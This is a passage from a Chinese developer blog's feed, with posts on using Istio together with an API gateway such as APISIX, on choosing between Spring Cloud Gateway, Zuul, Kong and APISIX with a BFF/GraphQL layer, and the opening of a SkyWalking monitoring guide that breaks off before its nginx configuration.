&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-06-21-shang-le-istio-de-zei-chuan-zhi-api-gateway/001-abd5152c.jpg"&gt;&lt;/p&gt;
&lt;p&gt;历史架构&lt;/p&gt;
&lt;p&gt;主要介绍下作为服务通讯基础设施的 &lt;code&gt;istio&lt;/code&gt; 在这里的作用&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;服务间通讯，依赖 &lt;code&gt;envoy sidecar&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;注册中心，依赖 &lt;code&gt;istio&lt;/code&gt; 控制面&lt;/li&gt;
&lt;li&gt;服务治理（熔断、超时、重试）&lt;em&gt;这部分还没有完完全全切干净，还有些 &lt;code&gt;spring boot&lt;/code&gt; 应用依赖 &lt;code&gt;hystrix&lt;/code&gt;，后面会全部改成利用 &lt;code&gt;istio&lt;/code&gt;&lt;/em&gt;。&lt;/li&gt;
&lt;li&gt;流量管理（&lt;code&gt;ingress gateway&lt;/code&gt;、&lt;code&gt;egress gateway&lt;/code&gt;、负载均衡）&lt;/li&gt;
&lt;li&gt;测试（错误注入）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;通过将传统微服务架构的这些控制面功能解耦到 istio,可以让微服务应用本身专注于业务开发，是一个比较简的单体 springboot 应用。再结合 k8s 的高扩展性，研发整体的迭代速度和运维效率还是比较高的，缺点是无论是 k8s 还是 istio ，学习成本偏高，需要团队至少 2 人具有专业知识，对于招聘成本、系统升级都有风险。&lt;/p&gt;
&lt;h2 id="上了贼船"&gt;&lt;a href="#%e4%b8%8a%e4%ba%86%e8%b4%bc%e8%88%b9" class="header-anchor"&gt;&lt;/a&gt;上了贼船
&lt;/h2&gt;&lt;p&gt;坦白讲，如果系统最初的设计是我来做，是不会用如此“激进”的方案的，会转而用 &lt;code&gt;spring cloud&lt;/code&gt; 为基础的架构，当然，&lt;code&gt;k8s&lt;/code&gt; 是非常可能会使用的。但可惜我是中间接手，也想过换架构，但迫于公司业务和迭代的压力，再加上人手有限，再换架构的风险会非常高，所以既然上了 &lt;code&gt;istio&lt;/code&gt; 的贼船，就只能走下去了，等什么时候时机成熟再并行其他架构，或切换回合适的架构。这里我要强调的是，做架构选择或者选型不是为了技术而技术，一定是要非常适合当时公司的发展现状、业务场景、团队能力、招聘成本等等，综合多种条件而得出的结论。 巧合的是 istio 的 logo 也是一个帆船的样子，果真是上了贼船 &lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-06-21-shang-le-istio-de-zei-chuan-zhi-api-gateway/002-5ae55d6c.png"&gt;&lt;/p&gt;
&lt;h2 id="api-gateway"&gt;&lt;a href="#api-gateway" class="header-anchor"&gt;&lt;/a&gt;API Gateway
&lt;/h2&gt;&lt;p&gt;终于说到本文的重点 &lt;code&gt;API Gateway&lt;/code&gt; 了，对于这个话题，之前写过一篇文章，读者可以先脱离现在的架构从功能层面来了解下 &lt;code&gt;API Gateway&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; [![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-06-21-shang-le-istio-de-zei-chuan-zhi-api-gateway/003-65589640.png)API 网关选型及包含 BFF 的架构设计](http://mp.weixin.qq.com/s?__biz=MzI3Njk5ODg4OQ==&amp;amp;mid=2247484717&amp;amp;idx=1&amp;amp;sn=8162d7957b29504162490780e8d3763d&amp;amp;chksm=eb6dbaabdc1a33bd14c244069e44e3b84dfea8bae546c09facfa42bb5dbf90c1c70421efa6dc&amp;amp;scene=21#wechat_redirect)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;回到我们现在的架构，你会发现，虽然我们有前置的 &lt;code&gt;openResty&lt;/code&gt;,但应用层这边并没有一个担当 &lt;code&gt;API Gateway&lt;/code&gt; 角色的服务。而无论是 &lt;code&gt;openResty&lt;/code&gt; 或者是 &lt;code&gt;nginx&lt;/code&gt; 对于云原生 &lt;code&gt;API Gateway&lt;/code&gt; 的需求是不能完全满足的。&lt;/p&gt;
&lt;p&gt;当然了解 &lt;code&gt;istio&lt;/code&gt; 的读者可能会问：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;istio ingress gateway&lt;/code&gt; 不也具有网关的功能吗 ？&lt;/li&gt;
&lt;li&gt;为什么没有用 &lt;code&gt;nginx ingress controller&lt;/code&gt; ？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;首先，我承认基于 &lt;code&gt;k8s ingress&lt;/code&gt; 实现的各种 &lt;code&gt;ingress controller&lt;/code&gt; 功能越来越完善，如果我们没有用 &lt;code&gt;istio&lt;/code&gt; 可能会采用这种方案，但我们使用了，那么再结合 &lt;code&gt;k8s ingress&lt;/code&gt; 就会有如如何为服务网格选择入口网关[1]中说的如下问题：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;K8s Ingress&lt;/code&gt; 是独立在 &lt;code&gt;Istio&lt;/code&gt; 体系之外的，需要单独采用 &lt;code&gt;Ingress rule&lt;/code&gt; 进行配置，导致系统入口和内部存在两套互相独立的路由规则配置，运维和管理较为复杂。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;K8s Ingress rule&lt;/code&gt; 的功能较弱，不能在入口处实现和网格内部类似的路由规则，也不具备网格 &lt;code&gt;sidecar&lt;/code&gt; 的其它能力，导致难以从整体上为应用系统实现灰度发布、分布式跟踪等服务管控功能。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;其次，没错 &lt;code&gt;istio ingress gateway&lt;/code&gt; 除了基础的通讯功能之外，还有一些其他的应用层功能。但我们综合来比较下 &lt;code&gt;k8s ingress&lt;/code&gt;、&lt;code&gt;istio ingress gateway&lt;/code&gt; 和我们理想中的 &lt;code&gt;API Gateway&lt;/code&gt;，就会发现它还不够完善,主要是对于 &lt;code&gt;API&lt;/code&gt; 管理的这部分功能欠缺。&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-06-21-shang-le-istio-de-zei-chuan-zhi-api-gateway/004-920af72e.jpg"&gt;&lt;/p&gt;
&lt;h2 id="未来"&gt;&lt;a href="#%e6%9c%aa%e6%9d%a5" class="header-anchor"&gt;&lt;/a&gt;未来
&lt;/h2&gt;&lt;p&gt;前文已经对各种 &lt;code&gt;API Gateway&lt;/code&gt;的实现方案进行了讨论，结论是在目前难以找到一个同时具备&lt;code&gt;API Gateway&lt;/code&gt;和&lt;code&gt;Isito Ingress&lt;/code&gt;能力的网关。那么再回顾一下我们的需求：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;我们使用 istio&lt;/li&gt;
&lt;li&gt;我们需要 API Gateway&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所以，经过思考，我们未来的方案设计如下图：&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-06-21-shang-le-istio-de-zei-chuan-zhi-api-gateway/005-af72412a.jpg"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;仍然利用 &lt;code&gt;istio ingress gateway&lt;/code&gt;作为入口&lt;/li&gt;
&lt;li&gt;将 &lt;code&gt;istio ingress gateway&lt;/code&gt;接到 &lt;code&gt;LB&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;将&lt;code&gt;API Gateway&lt;/code&gt;纳入到&lt;code&gt;istio cluster&lt;/code&gt;管理的范畴当中，即拥有&lt;code&gt;sidecar proxy&lt;/code&gt;，可被&lt;code&gt;istio&lt;/code&gt;控制面控制。&lt;code&gt;API Gateway&lt;/code&gt;的选型很有可能使用云原生应用网关，如 &lt;code&gt;API SIX&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;应用层微服务不会利用如 spring cloud gateway 编码一个服务网关&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;总结：使用&lt;code&gt;API Gateway&lt;/code&gt;和&lt;code&gt;Sidecar Proxy&lt;/code&gt;一起为服务网格提供外部流量入口。&lt;/p&gt;
&lt;h3 id="还有没有问题"&gt;&lt;a href="#%e8%bf%98%e6%9c%89%e6%b2%a1%e6%9c%89%e9%97%ae%e9%a2%98" class="header-anchor"&gt;&lt;/a&gt;还有没有问题？
&lt;/h3&gt;&lt;p&gt;有的，根据 Service Mesh 和 API Gateway关系深度探讨[2]上述方案的优势在于&lt;code&gt;API Gateway&lt;/code&gt;和&lt;code&gt;Sidecar&lt;/code&gt;独立部署，职责明确，架构清晰。但是，和&lt;code&gt;Service Mesh&lt;/code&gt;使用&lt;code&gt;sidecar&lt;/code&gt;被质疑多一跳会造成性能开销影响效率一样，&lt;code&gt;API Gateway&lt;/code&gt;使用&lt;code&gt;Sidecar&lt;/code&gt;也被同样的质疑：多了一跳……&lt;/p&gt;
&lt;p&gt;对了多了这一跳，从整个架构每一段的网络耗时及其作用来看，这一跳多出的时间，几乎可以忽略不计。&lt;/p&gt;
&lt;h3 id="性能如何"&gt;&lt;a href="#%e6%80%a7%e8%83%bd%e5%a6%82%e4%bd%95" class="header-anchor"&gt;&lt;/a&gt;性能如何？
&lt;/h3&gt;&lt;p&gt;作为 &lt;code&gt;sidecar&lt;/code&gt; 的 &lt;code&gt;envoy&lt;/code&gt;的性能应该是毋庸置疑了。至于&lt;code&gt;istio ingress gateway&lt;/code&gt;虽然官方给出的数据也不错，但还是要在实践中观察。而作为 &lt;code&gt;Cloud Native API Gateway&lt;/code&gt; 比如 &lt;code&gt;API SIX&lt;/code&gt; 我对它有足够的信心，至少在我司现阶段业务体量以及未来百倍增长规模下都不会担心性能问题。&lt;/p&gt;
&lt;h3 id="参考资料"&gt;&lt;a href="#%e5%8f%82%e8%80%83%e8%b5%84%e6%96%99" class="header-anchor"&gt;&lt;/a&gt;参考资料
&lt;/h3&gt;&lt;p&gt;[1]&lt;/p&gt;
&lt;p&gt;如何为服务网格选择入口网关？: &lt;em&gt;&lt;a class="link" href="https://zhaohuabing.com/post/2019-03-29-how-to-choose-ingress-for-service-mesh/#k8s-ingress" target="_blank" rel="noopener"
 &gt;https://zhaohuabing.com/post/2019-03-29-how-to-choose-ingress-for-service-mesh/#k8s-ingress&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;[2]&lt;/p&gt;
&lt;p&gt;Service Mesh和API Gateway关系深度探讨: &lt;em&gt;&lt;a class="link" href="https://www.servicemesher.com/blog/service-mesh-and-api-gateway/" target="_blank" rel="noopener"
 &gt;https://www.servicemesher.com/blog/service-mesh-and-api-gateway/&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</description></item><item><title>API 网关选型及包含 BFF 的架构设计</title><link>https://xiaobox.github.io/p/2020-10-13-api-wang-guan-xuan-xing-ji-bao-han-bff-de-jia-gou-she-ji/</link><pubDate>Tue, 13 Oct 2020 04:14:35 +0000</pubDate><guid>https://xiaobox.github.io/p/2020-10-13-api-wang-guan-xuan-xing-ji-bao-han-bff-de-jia-gou-she-ji/</guid><description>&lt;img src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-10-13-api-wang-guan-xuan-xing-ji-bao-han-bff-de-jia-gou-she-ji/cover.jpg" alt="Featured image of post API 网关选型及包含 BFF 的架构设计" /&gt;&lt;h1 id="api-网关选型及包含-bff-的架构设计"&gt;&lt;a href="#api-%e7%bd%91%e5%85%b3%e9%80%89%e5%9e%8b%e5%8f%8a%e5%8c%85%e5%90%ab-bff-%e7%9a%84%e6%9e%b6%e6%9e%84%e8%ae%be%e8%ae%a1" class="header-anchor"&gt;&lt;/a&gt;API 网关选型及包含 BFF 的架构设计
&lt;/h1&gt;&lt;h2 id="一-背景介绍"&gt;&lt;a href="#%e4%b8%80-%e8%83%8c%e6%99%af%e4%bb%8b%e7%bb%8d" class="header-anchor"&gt;&lt;/a&gt;一 背景介绍
&lt;/h2&gt;&lt;p&gt;下图是我从网络上找到的一个微服务架构的简单架构图，如图可见 API Gateway 在其中起到一个承上启下的作用，是关键组件。&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-10-13-api-wang-guan-xuan-xing-ji-bao-han-bff-de-jia-gou-she-ji/001-7e801992.png"&gt;&lt;/p&gt;
&lt;p&gt;图片来源于网络&lt;/p&gt;
&lt;p&gt;在更通用的场景下我们会使用 NGINX 这样的软件做前置，用来处理SLB负载均衡过来的流量，作用是反向代理、集群负载均衡、转发、日志收集等功能。&lt;/p&gt;
&lt;p&gt;然后再将 NGINX 的请求 proxy 到 API Gateway 做统一网关处理。&lt;/p&gt;
&lt;p&gt;在上面的这个场景下 API Gateway 可以包含以下功能：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;安全&lt;/li&gt;
&lt;li&gt;限流&lt;/li&gt;
&lt;li&gt;缓存&lt;/li&gt;
&lt;li&gt;熔断&lt;/li&gt;
&lt;li&gt;重试&lt;/li&gt;
&lt;li&gt;负载&lt;/li&gt;
&lt;li&gt;反向路由&lt;/li&gt;
&lt;li&gt;认证、鉴权&lt;/li&gt;
&lt;li&gt;日志收集和监控&lt;/li&gt;
&lt;li&gt;其他&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;熟悉 NGINX 的朋友应该可以看出来，上面列出的这些功能和 NGINX 的部分功能是重合的，不过由于架构结构不同，在上面我提到的场景中，即 NGINX 在前 API gateway 在后的结构中，他们两者关注的维度也不一样，所以即使有重合也正常。&lt;/p&gt;
&lt;h2 id="二-架构调整"&gt;&lt;a href="#%e4%ba%8c-%e6%9e%b6%e6%9e%84%e8%b0%83%e6%95%b4" class="header-anchor"&gt;&lt;/a&gt;二 架构调整
&lt;/h2&gt;&lt;p&gt;下图是我基于云原生微服务架构设计的架构图其中前端流量是通过 SLB -&amp;gt; NGINX -&amp;gt; API Gateway 再到具体服务。&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-10-13-api-wang-guan-xuan-xing-ji-bao-han-bff-de-jia-gou-she-ji/002-1d7f0cab.jpg"&gt;&lt;/p&gt;
&lt;h2 id="三-java技术栈的-api-gateway-选型"&gt;&lt;a href="#%e4%b8%89-java%e6%8a%80%e6%9c%af%e6%a0%88%e7%9a%84-api-gateway-%e9%80%89%e5%9e%8b" class="header-anchor"&gt;&lt;/a&gt;三 java技术栈的 API Gateway 选型
&lt;/h2&gt;&lt;p&gt;由于后端采用java 的 spring cloud 开发的，所以在语言一致性上更倾向 java 语言开发的组件。如上图虽然在 API Gateway 的位置上写的是 spring cloud gateway，然而也可以采用像 zuul、zuul2 这些同样是 java 语言开发的组件。对于具体 zuul 和 spring gateway的选型，是这样考虑的：&lt;/p&gt;
&lt;p&gt;|&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;spring cloud gateway&lt;/th&gt;
 &lt;th&gt;zuul&lt;/th&gt;
 &lt;th&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;性能&lt;/td&gt;
 &lt;td&gt;性能比 Netflix Zuul 好将近一倍&lt;/td&gt;
 &lt;td&gt;Zuul1 的性能较差 Zuul2 较 Zuul1 有较大的提升&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;社区和文档&lt;/td&gt;
 &lt;td&gt;spring社区非常活跃&lt;/td&gt;
 &lt;td&gt;一般&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;可维护性&lt;/td&gt;
 &lt;td&gt;基于spring官方维护性强&lt;/td&gt;
 &lt;td&gt;经常跳票、Spring Cloud暂时还没有对Zuul2.0的整合计划&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;亮点&lt;/td&gt;
 &lt;td&gt;异步、配置灵活&lt;/td&gt;
 &lt;td&gt;成熟、简单门槛低&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;不足&lt;/td&gt;
 &lt;td&gt;早期产品、新版本踩坑&lt;/td&gt;
 &lt;td&gt;性能一般、可编程一般&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Spring Cloud Gateway 的性能比 Zuul 好基本上已经是业界公认的了，实际上，Spring Cloud Gateway 官方也发布过一个性能测试，这里节选如下数据：&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-10-13-api-wang-guan-xuan-xing-ji-bao-han-bff-de-jia-gou-she-ji/003-8c6955ec.png"&gt;&lt;/p&gt;
&lt;p&gt;Spring Cloud Gateway 构建于 Spring 5+，基于 Spring Boot 2.x 响应式的、非阻塞式的 API。同时，它支持 websockets，和 Spring 框架紧密集成。从目前来看，gateway替代zuul是趋势。基于以上这些，综合考虑在架构中使用Spring Cloud Gateway。&lt;/p&gt;
&lt;h2 id="四-非java技术栈的-api-gateway-选型"&gt;&lt;a href="#%e5%9b%9b-%e9%9d%9ejava%e6%8a%80%e6%9c%af%e6%a0%88%e7%9a%84-api-gateway-%e9%80%89%e5%9e%8b" class="header-anchor"&gt;&lt;/a&gt;四 非java技术栈的 API Gateway 选型
&lt;/h2&gt;&lt;p&gt;现代 API Gateway 越来越需要或者流行可编程网关了。上面介绍的都是基于 java 语言开发的可编程的 API Gateway。下面我们来聊聊非 java 语言开发的网关。从前面的架构图上看，我们完全可以将 NGINX 和 API Gateway 合并起来，他们的功能的重合点自然消除了，也能降低架构的复杂性和运维成本。&lt;/p&gt;
&lt;p&gt;NGINX 是一款优秀的软件，然而它在动态性方面的不足导致不太灵活，后面出现的 OpenResty、tengine 这些基于NGINX 和 Lua 的软件在动态性、灵活方面有本质上的改善，加上基于Lua脚本和插件，可以实现所谓的可编程。&lt;/p&gt;
&lt;p&gt;市面上基于OpenResty 以 API Gateway 为应用场景的应用软件有 Kong、APISIX、tyk 等。以下是CNCFland scape 的一个概览&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-10-13-api-wang-guan-xuan-xing-ji-bao-han-bff-de-jia-gou-she-ji/004-4dffcf41.png"&gt;&lt;/p&gt;
&lt;p&gt;比较了一下 NGING 和 KONG&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-10-13-api-wang-guan-xuan-xing-ji-bao-han-bff-de-jia-gou-she-ji/005-0c00debf.png"&gt;&lt;/p&gt;
&lt;p&gt;经过考虑，在架构上，后期有可能将 NGINX、Spring Cloud Gateway 替换成KONG 或其他软件。&lt;/p&gt;
&lt;p&gt;比较了一下，目前最火的应用是Kong，另一个国产的 APISIX 趋势也是很猛，且他们的技术栈雷同，所以我在选型上找到了APISIX的作者做的对比：&lt;/p&gt;
&lt;p&gt;从 API 网关核心功能点来看，两者均已覆盖：&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-10-13-api-wang-guan-xuan-xing-ji-bao-han-bff-de-jia-gou-she-ji/006-82d62ded.png"&gt;&lt;/p&gt;
&lt;p&gt;更详细的比较：&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-10-13-api-wang-guan-xuan-xing-ji-bao-han-bff-de-jia-gou-she-ji/007-817eae70.png"&gt;&lt;/p&gt;
&lt;p&gt;通过性能测试可以看到，在不开启插件的情况下，Apache APISIX 的性能（QPS 和延迟）是 Kong 的2倍，但开启了两个常用插件后，性能就是 Kong 的十倍了。&lt;/p&gt;
&lt;p&gt;无论从性能、可用性、可编程代码量等各个维度APISIX都是非常优秀的，目前唯一担心的就是这种早期项目没有太多大规模应用实践，如果上生产还是有风险，可在测试环境调研，并等待有更多生产实践作为依据。 当然如果架构师认为风险并不大，且经过了测试调研也是可以上的。😁&lt;/p&gt;
&lt;h2 id="五-bff-层建设迭代"&gt;&lt;a href="#%e4%ba%94-bff-%e5%b1%82%e5%bb%ba%e8%ae%be%e8%bf%ad%e4%bb%a3" class="header-anchor"&gt;&lt;/a&gt;五 BFF 层建设迭代
&lt;/h2&gt;&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-10-13-api-wang-guan-xuan-xing-ji-bao-han-bff-de-jia-gou-she-ji/008-ee15f4db.png"&gt;&lt;/p&gt;
&lt;p&gt;前面我们将 API Gateway 的网关选型介绍了一下，请求通过网关后一般不会直接打到具体微服务上的，而是会通过BFF层，所谓的BFF，即 backend for frontend 面向前端的后端。具体来说它的职能包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;api数据裁剪&lt;/li&gt;
&lt;li&gt;接口编排&lt;/li&gt;
&lt;li&gt;接口调用&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这层有的公司会按业务进行多个BFF的建设，在BFF中又有可能拆成多个服务，比如支撑首页的，支持列表页的，或者只有一个服务，支撑某个应用的所有请求的。&lt;/p&gt;
&lt;p&gt;有了BFF层，前后端就会更好的解耦，前端不用再调用多个接口，然后再组织数据，微服务后端也只需要关心自己服务边界内的事情。&lt;/p&gt;
&lt;p&gt;然而在实践的过程中会出现一些问题：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;大量业务逻辑从前后端集中在了BFF层&lt;/li&gt;
&lt;li&gt;BFF层逻辑复杂，代码量越来越大，难以维护&lt;/li&gt;
&lt;li&gt;BFF API版本维护复杂&lt;/li&gt;
&lt;li&gt;前端端接口职责不清，扯皮的结果就是放在BFF层&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以上是我真实遇到过的场景。所以在后面的架构设计和实施中，这些情况会尽量避免，但没有从技术上解决根本问题。直到 GraphQL 的出现，让我眼前一亮，给了我一个很好的解决方案。关于GraphQL的搭建，数据交换等细节这里就不展开说了，感兴趣的可以从网上找到很多资料。&lt;/p&gt;
&lt;p&gt;下图是我从网络上找的一个符合我心目中的理想架构。&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-10-13-api-wang-guan-xuan-xing-ji-bao-han-bff-de-jia-gou-she-ji/009-06053c35.png"&gt;&lt;/p&gt;
&lt;p&gt;图片来源于网络&lt;/p&gt;
&lt;p&gt;说起来简单，做起来没那么容易 ，细节是魔鬼，每利用一个新的技术都会经历一波打怪升级的过程。不过总体来说利用GraphQL确实能从理论上解决上面所说的问题。而重点是如何将它结合进你的系统架构中，并且发挥出它的优势。架构很多时候是在做权衡和选择&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-10-13-api-wang-guan-xuan-xing-ji-bao-han-bff-de-jia-gou-she-ji/010-ae0d6502.gif"&gt;&lt;/p&gt;
&lt;p&gt;关注公众号 获取更多精彩内容&lt;/p&gt;</description></item><item><title>如何使用skywalking 进行全链路监控</title><link>https://xiaobox.github.io/p/2020-09-29-ru-he-shi-yong-skywalking-jin-xing-quan-lian-lu-jian-kong/</link><pubDate>Tue, 29 Sep 2020 06:41:07 +0000</pubDate><guid>https://xiaobox.github.io/p/2020-09-29-ru-he-shi-yong-skywalking-jin-xing-quan-lian-lu-jian-kong/</guid><description>&lt;img src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-09-29-ru-he-shi-yong-skywalking-jin-xing-quan-lian-lu-jian-kong/cover.jpg" alt="Featured image of post 如何使用skywalking 进行全链路监控" /&gt;&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-09-29-ru-he-shi-yong-skywalking-jin-xing-quan-lian-lu-jian-kong/001-9446e222.png"&gt;&lt;/p&gt;
&lt;h1 id="如何使用skywalking-进行全链路监控"&gt;&lt;a href="#%e5%a6%82%e4%bd%95%e4%bd%bf%e7%94%a8skywalking-%e8%bf%9b%e8%a1%8c%e5%85%a8%e9%93%be%e8%b7%af%e7%9b%91%e6%8e%a7" class="header-anchor"&gt;&lt;/a&gt;如何使用skywalking 进行全链路监控
&lt;/h1&gt;&lt;h2 id="本文涉及内容"&gt;&lt;a href="#%e6%9c%ac%e6%96%87%e6%b6%89%e5%8f%8a%e5%86%85%e5%ae%b9" class="header-anchor"&gt;&lt;/a&gt;本文涉及内容
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;skywalking 全链路监控&lt;/li&gt;
&lt;li&gt;skywalking 的参数配置&lt;/li&gt;
&lt;li&gt;skywalking UI 监控视角与指标介绍&lt;/li&gt;
&lt;li&gt;一些很有用的点&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="skywalking-全链路监控"&gt;&lt;a href="#skywalking-%e5%85%a8%e9%93%be%e8%b7%af%e7%9b%91%e6%8e%a7" class="header-anchor"&gt;&lt;/a&gt;skywalking 全链路监控
&lt;/h2&gt;&lt;p&gt;下图是我从网上找到的一个比较常见的微服务架构，看的出来使用的是 spring cloud 框架组件，后端服务是 java。我所谓的全链路监控是 从 Nginx 到数据库 这个链路的监控。&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-09-29-ru-he-shi-yong-skywalking-jin-xing-quan-lian-lu-jian-kong/002-d1c5d4dc.jpg"&gt;&lt;/p&gt;
&lt;p&gt;我们知道 skywalking 可以通过 agent 比较方便的监控到后端的 java 应用。有关 skywalking 的安装请参考官方文档[1]&lt;/p&gt;
&lt;p&gt;以下是几个界面截图：通过 skywalking , 我们可以从服务入口开始一直监控到数据库，甚至是数据库的 sql 以及参数都可以一览无余（&lt;em&gt;sql 参数显示需要单独配置，后面会讲&lt;/em&gt;）。&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-09-29-ru-he-shi-yong-skywalking-jin-xing-quan-lian-lu-jian-kong/003-02ac1ae2.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-09-29-ru-he-shi-yong-skywalking-jin-xing-quan-lian-lu-jian-kong/004-a176d122.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-09-29-ru-he-shi-yong-skywalking-jin-xing-quan-lian-lu-jian-kong/005-d168e03c.png"&gt;&lt;/p&gt;
&lt;p&gt;然而我们并没有监控到请求的上游源头，即 Nginx 入口，如果我们将从 Nginx 入口来的并且经由 java 服务最终到数据库的请求全部监控起来，就完成了请求的全链路监控。上面我们处理了下半段，现在我们来处理上半段。&lt;/p&gt;
&lt;p&gt;skywalking-nginx-lua[2] 这是 skywalking 的另一个项目，可以通过它来对nginx进行监控。skywalking-nginx-lua 是使用lua来织入 agent 的。所以要求你的 nginx 要么有 lua 模块，要么用 openResty 这样的自带 Lua 功能模块的软件。&lt;/p&gt;
&lt;p&gt;我使用的是openResty，只需要加以下配置就可以实现监控（注意中文注释部分）：&lt;/p&gt;
